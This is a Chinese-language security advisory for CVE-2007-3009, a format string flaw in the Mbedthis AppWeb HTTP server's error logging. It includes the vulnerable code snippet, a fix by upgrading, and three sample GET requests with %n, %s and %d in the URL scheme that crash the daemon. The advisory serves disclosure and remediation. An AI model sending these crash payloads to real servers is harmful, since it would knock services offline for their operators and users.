CVE:CVE-2007-3009
CNNVD:CNNVD-200706-031
Mbedthis Software AppWeb是一款HTTP服务程序。
AppWeb在处理URL的协议部分时存在格式串错误，远程攻击者可能利用此漏洞导致拒绝服务。
在MprLogToFile::logEvent()函数中，如果没有定义实际的文件描述符，就会将一些错误记录到STDERR，执行以下调用：
======= start code ============
if (logFd < 0  & & level <= 1) {
//
// Always output fatal and error messages
//
mprFprintf(MPR_STDERR, buf);
return;
}
// OPT -- could get length above
write(logFd, buf, strlen(buf));
========= end code ==========
如果用户提交的GET请求包含有特殊字符的话，如：
"GET %n://localhost:80/index.html HTTP/1.1..Host: 172.19.15.11..User-Agent: Security test..Content-Length: 0..Cache-Control: no-cache....\r\n\r\n"
"GET %s%s://localhost:80/index.html HTTP/1.1..Host: 172.19.15.11..User-Agent: Security test..Content-Length: 0..Cache-Control: no-cache....\r\n\r\n"
"GET %d://localhost:80/index.html HTTP/1.1..Host: 172.19.15.11..User-Agent: Security test..Content-Length: 0..Cache-Control: no-cache....\r\n\r\n"
服务器无法找到这样的页面，于是试图向stderr写入错误消息。当将上述字符串做为buf参数传送给mprFprintf时，mprFprintf(更具体来讲是mprSprintfCore)试图将%s(或%d、%s)匹配到列表的参数，但列表中根本就不存在参数，这就导致出现分段错误，守护程序会崩溃。成功利用这个漏洞要求启用了日志功能但appweb.conf中没有ErrorLog指令。
solution:Upgrade mbedthis_software mbedthis_appweb_http_server to a higher version than 2.0.5-4,and avoid the version 2.0.5-4